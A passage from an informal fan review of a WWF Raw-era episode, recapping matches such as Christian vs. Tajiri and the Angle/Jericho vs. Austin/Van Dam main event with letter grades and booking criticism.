Back inside Booker drops a knee and hits the Spinarooni. Shane gets in some free shots but slaps him once too often so Taz remembers that he was a killing machine in ECW and runs them both over. Tazmission is broken up by Shane and Booker “hits” the ax kick (Taz dropped about three seconds before Booker hit him. It was Taz’s fault) and the top rope elbow gets the pin.

Rating: D. Uh….ok? A guy that is a much bigger star than Taz and has a partner who is pretty talented in his own part can beat Taz (I’ll let you figure out who I mean by each of those descriptions) in a match that could have easily been cut in half. Not a godo match or anything and I’m not really sure what it proved.

Christian doesn’t care that Edge hasn’t been seen in two weeks. He wants the US Title to go with the IC Title he’s winning on Sunday.

European Title: Hurricane vs. Spike Dudley

Hurricane takes him to the mat followed by Spike taking him to the mat. They fight over a top wristlock with Hurricane throwing in a quick pose, thereby making him awesome. Hurricane takes him down and goes up, but Molly takes the cape. Now that’s just not nice. Spike goes up but gets shoved down and into the barricade. She throws the cape in and goes up (which the referee ignores) and accidentally dropkicks Spike. Eye of the Hurricane retains the belt after a short and uninteresting match.

We run down the Unforgiven card. Ok maybe just two match.

We get a few shots of some fans at WWF New York. Nice touch.

Torrie is looking GOOD in the back and runs into Shane. He thinks Torrie is manipulating Tajiri and is very proud of her for getting as far as she has.

Angle says he’ll win on Sunday when RVD pops up to point out that the fans were cheering for him. Angle says on Sunday, they’ll be chanting USA.

US Title: Christian vs. Tajiri

Christian jumps Tajiri while he’s kissing Torrie and we’re ready to go. They chop it out in the corner but Tajiri gets bored with that and kicks Christian in the head instead. He tries a rana but gets powerbombed down instead. Backbreaker gets two. Christian pounds on him a bit but gets his head kicks off and the champ takes over. The always awesome handspring elbow gets two. There’s the Tarantula but Tajiri misses a lot of kicks. Out to the floor and Christian loads up the Conchairto. Tajiri tries the Mist to defend himself but hits the referee instead and that’s a DQ.

Rating: C-. How could Christian vs. Tajiri be this boring? Oh, probably because it had four minutes and had no story behind it at all and was there so that Edge could run in at the end to set up the PPV match a little bit better? Not a horrible match or anything but when you had two guys like this out there, you should get a good match. On the other hand, I don’t remember Torrie looking this good in a VERY long time.

Edge runs in post match (duh) to break up the Conchairto and chase off Christian. The look on his face was the first time I thought Edge awesome.

During the break Rhyno Gored Tajiri, which set up their match on Sunday.

Shane makes that title match I just mentioned.

Stephanie McMahon/Test vs. The Rock

Stephanie is on the apron here and is knocked off almost immediately. Rock sends Test to the floor and the beating begins. Back inside Rock gets two but Test pounds him into the corner. Rock fires off some rights but walks into a gutwrench powerbomb for two. Test beats him down again and Stephanie comes in, only for Rock to nip up. The Canadian runs him over again and loads up the big boot but instead he walks into a Rock Bottom. Nick Patrick is with Stephanie though and that earns him a Rock Bottom of his own. Rock goes after Steph but Shane and Booker run in. Everyone hits their finishers and Steph gets the pin.

Rating: D+. I don’t particularly get how this is supposed to make me want to see Booker and Shane vs. Rock on Sunday but it got Stephanie on TV and let her pin the Rock so it must be a good idea right? Just have Rock face Shane and then have Booker and everyone else interfere and let Shane get the pin. How is that any different? Oh right: it doesn’t let Stephanie get to be on TV. Got it.

Austin won’t come out of his dressing room when RVD says their match is next. Austin says he’ll see Rob out there. Rob knocks a few more times and gets him to open the door in a bit I don’t really get.

Chris Jericho/Kurt Angle vs. Rob Van Dam/Steve Austin

They brawl on the floor to start as the fans chant USA. Wouldn’t that chant be more be for the Alliance team since they’re bother Americans? Austin and Jericho start with the champion in control. He puts Jericho on the top rope but gets caught by a dropkick for two. Off to Van Dam who misses some kicks and gets taken down by an enziguri. Here’s Angle who hits a cross body and glares at Austin.

Spinebuster gets two for Kurt. Jericho comes in and has to fight off both guys but walks into a kick from Van Dam to send him to the floor. Austin tries to piledrive him on the floor but Angle makes the save. Van Dam puts Jericho on the barricade and hits the spinning legdrop which gets two back in the ring. Austin comes in and hooks a sleeper which doesn’t last long. Jericho and Van Dam knock each other down and it’s hot tag to Angle.

Van Dam accidentally kicks Austin and gets suplexed for his troubles. Austin throws Angle into the referee and gets caught in the ankle lock but Van Dam saves. Van Dam gets put in the Walls so Austin gets the bell and clocks Jericho with it but the referee stops a similar shot to Angle. Rollup gets two for Kurt as does a suplex. Stunner is countered into the Angle Slam which is good for three.

Rating: C+. Standard good main event tag match here and THIS is how you build up Austin vs. Angle. Angle beat Austin (mostly) clean in a non-title match so there’s a reason to believe that he can do it again on Sunday, giving us a reason to want to watch the match to see if he can. That’s basic booking and no one can seem to get that anymore. This was a good match.

Overall Rating: C+. The show was good again this week but you can still see all of the major problems this show has. It’s like a nice painting covering up a huge hole in a wall: the outside looks good but it doesn’t change the fact that the hole is there. Stephanie needs to pick a story and stick with it, because her nose is in EVERYTHING right now and it’s not helping. Look at Shane: he pops up with different people but he’s not the focal point of anything but Rock’s feud, which makes him much more effect. Well that and he can actually do stuff. Stephanie is heavily involved in multiple stories and it’s not helping.

Also you still have the huge rosters and most of the people have nothing to do other than pop up every now and then. Case in point: Saturn and Raven. You have these two talented guys and the best you can do is throw them together because of a mop? Do they think people are going to care about that? That’s another issue with this: we have no reason to care about these guys and like I’ve been saying for weeks now, the Invasion happened and now….what? There never was an answer to that and it’s becoming more and more of a problem.

Here’s Unforgiven if you’re interested: